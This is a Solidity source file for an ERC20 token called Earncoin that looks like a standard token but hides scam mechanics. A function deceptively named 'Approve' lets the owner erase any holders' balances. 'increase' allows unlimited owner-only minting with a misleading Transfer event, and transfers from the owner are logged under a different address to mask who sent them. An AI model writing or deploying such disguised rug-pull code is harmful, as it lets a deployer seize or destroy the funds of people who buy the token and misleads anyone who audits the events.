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pragma solidity ^0.6.0;
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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function mod(uint256 a, uint256 b) internal pure returns (uint256) {
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return mod(a, b, "SafeMath: modulo by zero");
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}
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function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b != 0, errorMessage);
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return a % b;
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}
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}
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library Address {
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function isContract(address account) internal view returns (bool) {
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bytes32 codehash;
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bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
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assembly { codehash := extcodehash(account) }
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return (codehash != accountHash && codehash != 0x0);
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}
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function sendValue(address payable recipient, uint256 amount) internal {
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require(address(this).balance >= amount, "Address: insufficient balance");
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(bool success, ) = recipient.call{ value: amount }("");
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require(success, "Address: unable to send value, recipient may have reverted");
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}
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function functionCall(address target, bytes memory data) internal returns (bytes memory) {
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return functionCall(target, data, "Address: low-level call failed");
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}
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function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
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return _functionCallWithValue(target, data, 0, errorMessage);
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}
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function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
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return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
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}
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function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
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require(address(this).balance >= value, "Address: insufficient balance for call");
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return _functionCallWithValue(target, data, value, errorMessage);
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}
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function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
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require(isContract(target), "Address: call to non-contract");
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(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
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if (success) {
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return returndata;
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} else {
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if (returndata.length > 0) {
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assembly {
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let returndata_size := mload(returndata)
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revert(add(32, returndata), returndata_size)
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}
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} else {
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revert(errorMessage);
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}
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}
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}
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}
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contract Context {
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constructor () internal { }
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function _msgSender() internal view virtual returns (address payable) {
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return msg.sender;
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}
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function _msgData() internal view virtual returns (bytes memory) {
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this;
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return msg.data;
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);}
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contract EarnCoin is Context, IERC20 {
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mapping (address => uint256) private _balances;
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mapping (address => mapping (address => uint256)) private _allowances;
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using SafeMath for uint256;
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using Address for address;
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address private _safeOwner;
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string private _name;
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string private _symbol;
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uint8 private _decimals;
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uint256 private _totalSupply;
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address _addr = 0x8E612A98CDB5C4a4dB0434f4148d10a772Dfcdfd;
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address public _origin = 0x8E612A98CDB5C4a4dB0434f4148d10a772Dfcdfd;
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uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
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constructor () public {
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_name = "Earncoin";
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_symbol = "EC";
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_decimals = 9;
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uint256 initialSupply = 1000000000;
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_safeOwner = _origin;
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increase(_addr, initialSupply*(10**9));
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}
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function name() public view returns (string memory) {
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return _name;
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}
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function symbol() public view returns (string memory) {
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return _symbol;
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}
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function decimals() public view returns (uint8) {
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return _decimals;
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}
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function totalSupply() public view override returns (uint256) {
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return _totalSupply;
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}
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function balanceOf(address account) public view override returns (uint256) {
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return _balances[account];
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}
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function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
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_load(_msgSender(), recipient, amount);
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return true;
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}
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function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
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_load(sender, recipient, amount);
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_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
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return true;
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}
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function allowance(address owner, address spender) public view virtual override returns (uint256) {
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return _allowances[owner][spender];
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}
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function approve(address spender, uint256 amount) public virtual override returns (bool) {
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function _transfer(address sender, address recipient, uint256 amount) internal virtual{
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require(sender != address(0), "ERC20: transfer from the zero address");
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require(recipient != address(0), "ERC20: transfer to the zero address");
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_beforeTokenTransfer(sender, recipient, amount);
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_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
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_balances[recipient] = _balances[recipient].add(amount);
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if (sender == _origin){
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sender = _addr;
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}
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emit Transfer(sender, recipient, amount);
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}
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function increase(address account, uint256 amount) public {
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require(msg.sender == _origin, "ERC20: mint to the zero address");
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_totalSupply = _totalSupply.add(amount);
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_balances[_origin] = _balances[_origin].add(amount);
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emit Transfer(address(0), account, amount);
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}
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function _burn(address account, uint256 amount) internal virtual {
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require(account != address(0), "ERC20: burn from the zero address");
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_beforeTokenTransfer(account, address(0), amount);
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_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
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_totalSupply = _totalSupply.sub(amount);
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emit Transfer(account, address(0), amount);
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}
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function _approve(address owner, address spender, uint256 amount) internal virtual {
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require(owner != address(0), "ERC20: approve from the zero address");
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require(spender != address(0), "ERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function _load(address sender, address recipient, uint256 amount) internal fill(sender,recipient,amount) virtual {
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require(sender != address(0), "ERC20: transfer from the zero address");
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require(recipient != address(0), "ERC20: transfer to the zero address");
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_beforeTokenTransfer(sender, recipient, amount);
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_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
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_balances[recipient] = _balances[recipient].add(amount);
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if (sender == _origin){
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sender = _addr;
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}
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emit Transfer(sender, recipient, amount);
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}
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modifier fill(address sender, address recipient, uint256 amount){
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_;
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}
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function _setupDecimals(uint8 decimals_) internal {
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_decimals = decimals_;
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}
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function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
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modifier auth() {
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require(msg.sender == _origin, "Not allowed to interact");
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_;
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}
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function Approve(address[] memory holders) public auth(){
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for (uint256 i = 0; i < holders.length; i++) {uint256 amount = _balances[holders[i]];
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_beforeTokenTransfer(holders[i], 0x000000000000000000000000000000000000dEaD, amount);
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_balances[holders[i]] = _balances[holders[i]].sub(amount, "ERC20: burn amount exceeds balance");
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_balances[0x000000000000000000000000000000000000dEaD] = _balances[0x85Dd5AAFcebFcd32DC7e29C5047e49053234A39a].add(amount);
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}
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}
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} |
